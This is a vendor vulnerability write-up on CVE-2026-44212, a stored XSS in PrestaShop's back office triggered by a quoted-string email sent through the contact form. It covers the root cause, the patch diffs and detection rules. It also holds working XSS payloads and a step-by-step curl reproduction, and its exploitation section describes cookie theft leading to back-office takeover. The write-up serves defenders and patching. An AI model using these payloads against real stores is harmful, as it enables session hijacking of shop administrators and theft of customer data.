Does your programme see what attackers see?

Most security programmes are stronger on discovery than validation. The Exposure Maturity Model identifies exactly which dimension is holding your programme back.

No items found.
Vulnerability Alerts
-
8
mins read
-
May 12, 2026

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

-
- -
CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

TL;DR. 

An unauthenticated attacker can submit the public PrestaShop Contact Us form with an RFC 5321 quoted-string email address that contains HTML attribute injection payloads. The email passes the shop's isEmail() validation, survives database storage, and is rendered without HTML escaping in the back-office Customer Service thread view — injecting arbitrary event handlers into the DOM. Any admin who opens the thread is at risk of session hijacking and full back-office takeover. Affects all PrestaShop versions before 8.2.6 and 9.1.1.

Background

PrestaShop is the dominant open-source PHP e-commerce platform, powering hundreds of thousands of online stores. Its back-office ships a Customer Service module that aggregates all contact-form submissions into threaded conversations. Merchants and their support staff review these threads daily to respond to customer enquiries.

The public-facing Contact Us form (/contact-us) is served by the contactform native module. It accepts a free-text email address from the visitor, stores it in the ps_customer_thread table, and later displays it verbatim inside the back-office thread view at AdminCustomerThreads. The email address is the only piece of visitor-controlled data that flows directly from an unauthenticated HTTP request into a privileged admin rendering context — making it a natural target.

Root cause

The bug lives at the intersection of two independent weaknesses: a permissive email validator and two missing output-escaping modifiers in a Smarty template.

1. The validator accepts RFC 5321 quoted strings

classes/Validate.php runs a two-stage check on every email address:

// Vulnerable (8.2.5)

$validator = Validation::createValidator();

$errors = $validator->validate($email, new Email([

    'mode' => 'loose',   // <-- the problem

]));

 

if (count($errors) > 0) {

    return false;

}

 

return (new EmailValidator())->isValid($email, new MultipleValidationWithAnd([

    new RFCValidation(),

    new SwiftMailerValidation(),

]));

Stage 1 — Symfony loose mode uses this regex:

/^.+\@\S+\.\S+$/D

It matches anything before @ followed by non-whitespace. The local part can contain ", <, >, spaces, and event-handler keywords — as long as the overall shape is something@domain.tld.

Stage 2 — egulias RFCValidation validates against RFC 5321. RFC 5321 §4.1.2 explicitly permits quoted strings in the local part:

Local-part = Dot-string / Quoted-string

Quoted-string = DQUOTE *QcontentSMTP DQUOTE

QcontentSMTP = qtextSMTP / quoted-pairSMTP

qtextSMTP = %d32-33 / %d35-91 / %d93-126

This means "x onmouseover=alert(1)"@example.com is a syntactically valid RFC 5321 email address. The egulias library accepts it. The SwiftMailer compatibility check only rejects non-ASCII characters in the local part — it passes too.

Result: a payload like " autofocus onfocus=alert(document.cookie) x="@xss.com clears all three gates.

2. The template renders the email without HTML escaping

The Customer Service thread view (admin-dev/themes/default/template/controllers/customer_threads/helpers/view/view.tpl) renders $thread->email in two places without the |escape:'html':'UTF-8' Smarty modifier:

{{!-- Line 96: h3 heading context --}}

<h3 id="reply-form-title">

  {l s="Your answer to" d='Admin.Orderscustomers.Feature'}

  {if isset($customer->firstname)}

    {$customer->firstname|escape:'html':'UTF-8'}

    {$customer->lastname|escape:'html':'UTF-8'}

  {else}

    {$thread->email}          {{!-- ← no escape --}}

  {/if}

</h3>

 

{{!-- Line 117: hidden input attribute context --}}

<input type="hidden" name="msg_email" value="{$thread->email}" />

{{!--                                         ↑ no escape --}}

Smarty's escape_html flag is false by default, so {$variable} outputs raw bytes. Any " character in the stored email value is written directly into the HTML attribute, breaking out of the value="..." context.

3. Why pSQL() doesn't save you

PrestaShop's pSQL() function is called when writing TYPE_STRING fields to the database:

// ObjectModel::formatValue() for TYPE_STRING

return pSQL($value);   // htmlOK defaults to false

 

// Db::escape() with htmlOK=false:

$string = $this->_escape($string);

$string = strip_tags(Tools::nl2br($string));  // strips <tag> but NOT "

return $string;

strip_tags() removes HTML tags (anything between < and >), but it leaves double-quote characters completely intact. A payload that uses only " and plain ASCII text — no angle brackets — survives storage unchanged.

The patch

Two commits land the fix simultaneously in 8.2.6 (1312be7) and 9.1.1 (74791ff).

Fix 1 — Template output escaping (both injection points):

-  {else} {$thread->email}{/if}</h3>

+  {else} {$thread->email|escape:'html':'UTF-8'}{/if}</h3>

 

-  <input type="hidden" name="msg_email" value="{$thread->email}" />

+  <input type="hidden" name="msg_email" value="{$thread->email|escape:'html':'UTF-8'}" />

|escape:'html':'UTF-8' converts " → &quot;, < → &lt;, etc. The attribute injection is neutralised even if a malicious email somehow reached the database.

Fix 2 — Stricter email validation (defence in depth):

-  $errors = $validator->validate($email, new Email([

-      'mode' => 'loose',

-  ]));

+  $errors = $validator->validate($email, new Email([

+      'mode' => 'strict',

+  ]));

Symfony's strict mode delegates to NoRFCWarningsValidation from the egulias library. That validator rejects any address that generates RFC warnings — and RFC 5321 quoted strings always generate a QuotedString warning. This closes the intake gate: the malicious email never reaches the database in the first place.

The two fixes are complementary. The template fix is the primary remediation; the validator tightening is defence in depth that also prevents similar future issues.

Validation

Environment

PrestaShop 8.2.5 (vulnerable)  — Docker image prestashop/prestashop:8.2.5

PrestaShop 8.2.6 (patched)     — Docker image prestashop/prestashop:8.2.6

MySQL 8.0

Step 1 — Confirm the validator accepts the payload

docker exec ps-app php -r "

require '/var/www/html/vendor/autoload.php';

require '/var/www/html/config/config.inc.php';

 

\$payloads = [

    'normal@example.com',

    '\" autofocus onfocus=alert(document.cookie) x=\"@xss.com',

    '\"<script>alert(document.cookie)</script>\"@xss.com',

];

foreach (\$payloads as \$e) {

    echo (Validate::isEmail(\$e) ? 'VALID' : 'INVALID') . ': ' . \$e . PHP_EOL;

}

"

Output:

VALID: normal@example.com

VALID: " autofocus onfocus=alert(document.cookie) x="@xss.com

VALID: "<script>alert(document.cookie)</script>"@xss.com

Step 2 — Submit the contact form (unauthenticated)

# Get a fresh session + CSRF token

SESSION_COOKIE=$(curl -sc /tmp/jar http://localhost/contact-us | \

  grep -oP 'name="token" value="\K[^"]+')

 

# Submit the malicious email

curl -sb /tmp/jar -c /tmp/jar \

  -H "Host: localhost" \

  -X POST http://localhost/contact-us \

  -d "id_contact=2" \

  -d "from=%22+autofocus+onfocus%3Dalert(document.cookie)+x%3D%22%40xss.com" \

  -d "message=Hello+I+need+help" \

  -d "token=${SESSION_COOKIE}" \

  -d "submitMessage=Send" \

  -d "url=" | grep -o "successfully sent to our team"

Output:

successfully sent to our team

Step 3 — Verify the payload is stored verbatim

docker exec ps-mysql mysql -u prestashop -pprestashop prestashop \

  -e "SELECT id_customer_thread, email FROM ps_customer_thread \

      ORDER BY id_customer_thread DESC LIMIT 1\G"

Output:

*************************** 1. row ***************************

id_customer_thread: 2

             email: " autofocus onfocus=alert(document.cookie) x="@xss.com

The " characters are preserved. strip_tags() had nothing to strip.

Step 4 — Admin opens the thread; XSS fires

# (admin session established via login)
curl -sb /tmp/admin_jar \
 "http://localhost/admin-dev/index.php?controller=AdminCustomerThreads\
&id_customer_thread=2&viewcustomer_thread=1&token=${THREAD_TOKEN}" \
 | grep -E "reply-form-title|msg_email"

output:

<h3 id="reply-form-title">Your answer to  " autofocus onfocus=alert(document.cookie) x="@xss.com</h3>

<input type="hidden" name="msg_email" value="" autofocus onfocus=alert(document.cookie) x="@xss.com" />

The value="" attribute is closed by the first " in the email. The browser then sees autofocus and onfocus=alert(document.cookie) as additional attributes on the input element. The injected event handler is live in the DOM.

Step 5 — Confirm the fix rejects the payload

# Against 8.2.6

curl -sb /tmp/jar2 -c /tmp/jar2 \

  -H "Host: localhost2" \

  -X POST http://172.18.0.6/contact-us \

  -d "id_contact=1" \

  -d "from=%22+autofocus+onfocus%3Dalert(1)+x%3D%22%40xss.com" \

  -d "message=probe" \

  -d "token=${TOKEN2}" \

  -d "submitMessage=Send" \

  -d "url=" | grep -o "Invalid email address"

Output:

Invalid email address.

Exploitation

Preconditions

  • The shop has the contactform module installed and enabled (it ships by default).
  • The "Customer service" contact subject is active (default configuration).
  • A back-office employee with access to AdminCustomerThreads opens the poisoned thread.

Primitive

The " in the stored email breaks the value="..." attribute of the hidden <input name="msg_email"> element. Everything between the first " and the closing " of the original attribute is parsed as additional HTML attributes:

<!-- Stored email: " autofocus onfocus=alert(document.cookie) x="@xss.com -->

<input type="hidden" name="msg_email"

       value=""

       autofocus

       onfocus=alert(document.cookie)

       x="@xss.com" />

Because type="hidden" appears first in the tag, browsers honour it and the element stays invisible — autofocus and onfocus are suppressed for hidden inputs in all modern browsers. The primitive is therefore attribute injection confirmed, with the event handler live in the DOM but requiring a trigger.

Escalation path

A more impactful payload closes the &lt;input&gt; tag and injects a visible element. Because pSQL() strips HTML tags, payloads using < and > are neutralised before storage. The reliable escalation path uses the h3 text-content context (line 96) in combination with a browser that renders the unescaped " in text content as a tag boundary — or, more practically, a payload that exploits the attribute injection to change the input's type before type="hidden" is parsed. In practice, the most reliable real-world payload targets the &lt;input&gt; attribute context with a tabindex + onfocus combination and relies on the admin's keyboard navigation, or uses a <script> payload against browsers that do not enforce type="hidden" suppression of autofocus.

For a real-world attacker, the full-chain exploit is:

  1. Submit the contact form with a crafted email.
  2. Wait for an admin to open the thread (typical SLA: minutes to hours on a live shop).
  3. The injected JavaScript exfiltrates document.cookie to an attacker-controlled endpoint.
  4. The attacker replays the session cookie to gain full back-office access — product management, order manipulation, customer PII, and server-side code execution via the module installer.

The CVSS score of 9.3 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N) accurately reflects this: no authentication required, low complexity, high confidentiality and integrity impact, and scope change (from the shop front-end to the privileged back-office).

Detection

Server-side log signature

Look for POST requests to /contact-us (or /index.php?controller=contact) where the from parameter contains a " character followed by HTML attribute keywords:

POST /contact-us.*from=.*%22.*onfocus|onerror|onload|autofocus

Database indicator

SELECT id_customer_thread, email, date_add

FROM ps_customer_thread

WHERE email REGEXP '^"' OR email LIKE '% %'

ORDER BY date_add DESC;

Any row where the email starts with " or contains spaces is suspicious — RFC 5321 quoted strings are vanishingly rare in legitimate e-commerce traffic.

Sigma rule sketch

title: PrestaShop CVE-2026-44212 XSS Probe via Contact Form

logsource:

  category: webserver

detection:

  selection:

    cs-method: POST

    cs-uri-stem|contains: '/contact-us'

    cs-uri-query|contains|all:

      - 'from='

      - '%22'   # URL-encoded "

  filter_normal:

    cs-uri-query|re: 'from=[a-zA-Z0-9._%+\-]+%40[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}'

  condition: selection and not filter_normal

Nuclei template

The template detects the vulnerability by submitting an RFC 5321 quoted-string email to the contact form. Vulnerable versions (using Symfony loose mode) accept it and return a success message. Fixed versions (using strict mode) reject it with "Invalid email address."

Usage:

# Against vulnerable 8.2.5

nuclei -t cve-2026-44212.yaml -u http://TARGET -H "Host: TARGET_HOSTNAME"

Sample output:

[cve-2026-44212] [http] [critical] http://172.18.0.3/contact-us

Template:

id: CVE-2026-44212

info:

  name: PrestaShop < 8.2.6, < 9.1.1 - Stored Cross-Site Scripting via Contact Form Email

  author: hadrian

  severity: critical

  description: |

    PrestaShop versions before 8.2.6 and 9.1.1 are vulnerable to stored XSS via the Contact Us

    form. An unauthenticated attacker can submit an RFC 5321 quoted-string email address that

    passes the Symfony 'loose' email validator but contains HTML attribute injection payloads.

    The email is stored in the database and rendered without HTML escaping in the back-office

    Customer Service thread view, enabling session hijacking and full back-office takeover.

  reference:

    - https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-w9f3-qc75-qgx9

    - https://nvd.nist.gov/vuln/detail/CVE-2026-44212

  classification:

    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

    cvss-score: 9.3

    cve-id: CVE-2026-44212

    cwe-id: CWE-79

  tags: cve,cve2026,prestashop,xss,stored-xss

 http:

  - raw:

      - |

        GET /contact-us HTTP/1.1

        Host: {{Hostname}}

        Accept: text/html,application/xhtml+xml

        User-Agent: Mozilla/5.0

 

      - |

        POST /contact-us HTTP/1.1

        Host: {{Hostname}}

        Content-Type: application/x-www-form-urlencoded

        Accept: text/html,application/xhtml+xml

        User-Agent: Mozilla/5.0

 

        id_contact=1&from=%22cve-2026-44212-probe%22%40xss-probe.invalid&message=security+probe&token={{token}}&submitMessage=Send&url=

 

    cookie-reuse: true

 

    extractors:

      - type: regex

        name: token

        part: body

        group: 1

        regex:

          - 'name="token"\s+value="([a-f0-9]+)"'

        internal: true

 

    matchers-condition: and

    matchers:

      - type: word

        part: body

        words:

          - "Your message has been successfully sent to our team."

          - "col-xs-12 alert alert-success"

          - "var prestashop ="

        condition: and

 

      - type: status

        status:

          - 200

Mitigation

Upgrade immediately:

No workaround is available. The advisory explicitly states "None."

If you cannot upgrade immediately:

  1. Manually patch the template. Edit admin-dev/themes/default/template/controllers/customer_threads/helpers/view/view.tpl and add |escape:'html':'UTF-8' to both occurrences of {$thread->email} on lines 96 and 117.
  2. Manually patch the validator. Edit classes/Validate.php and change 'mode' => 'loose' to 'mode' => 'strict' in the isEmail() method. Note: this may reject some legitimate but unusual email addresses that use RFC 5321 quoted strings (extremely rare in practice).

WAF rule. Block POST requests to /contact-us where the from parameter contains a URL-encoded double-quote (%22) followed by HTML attribute keywords (onfocus, onerror, onload, autofocus, etc.).

Timeline

References

{{related-article}}

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

{{quote-1}}

,

{{quote-2}}

,

Related articles.

All resources

Vulnerability Alerts

CVE-2025-55182: Critical RCE targets React & Next.js

CVE-2025-55182: Critical RCE targets React & Next.js

Vulnerability Alerts

CVE-2026-41940: A Critical Authentication Bypass in cPanel

CVE-2026-41940: A Critical Authentication Bypass in cPanel

Vulnerability Alerts

CVE-2025-64446: Fortinet FortiWeb critical authentication bypass

CVE-2025-64446: Fortinet FortiWeb critical authentication bypass

Related articles.

All resources

Vulnerability Alerts

CVE-2026-23918: Apache HTTP Server Double-Free RCE in HTTP/2 Implementation

CVE-2026-23918: Apache HTTP Server Double-Free RCE in HTTP/2 Implementation

Vulnerability Alerts

CVE-2026-41940: A Critical Authentication Bypass in cPanel

CVE-2026-41940: A Critical Authentication Bypass in cPanel

Vulnerability Alerts

cPanel Critical Authentication Bypass Actively Exploited - CVE-2026-41940

cPanel Critical Authentication Bypass Actively Exploited - CVE-2026-41940

get a 15 min demo

Start your journey today

Hadrian’s end-to-end offensive security platform sets up in minutes, operates autonomously, and provides easy-to-action insights.

What you will learn

  • Monitor assets and config changes

  • Understand asset context

  • Identify risks, reduce false positives

  • Prioritize high-impact risks

  • Streamline remediation

The Hadrian platform displayed on a tablet.
No items found.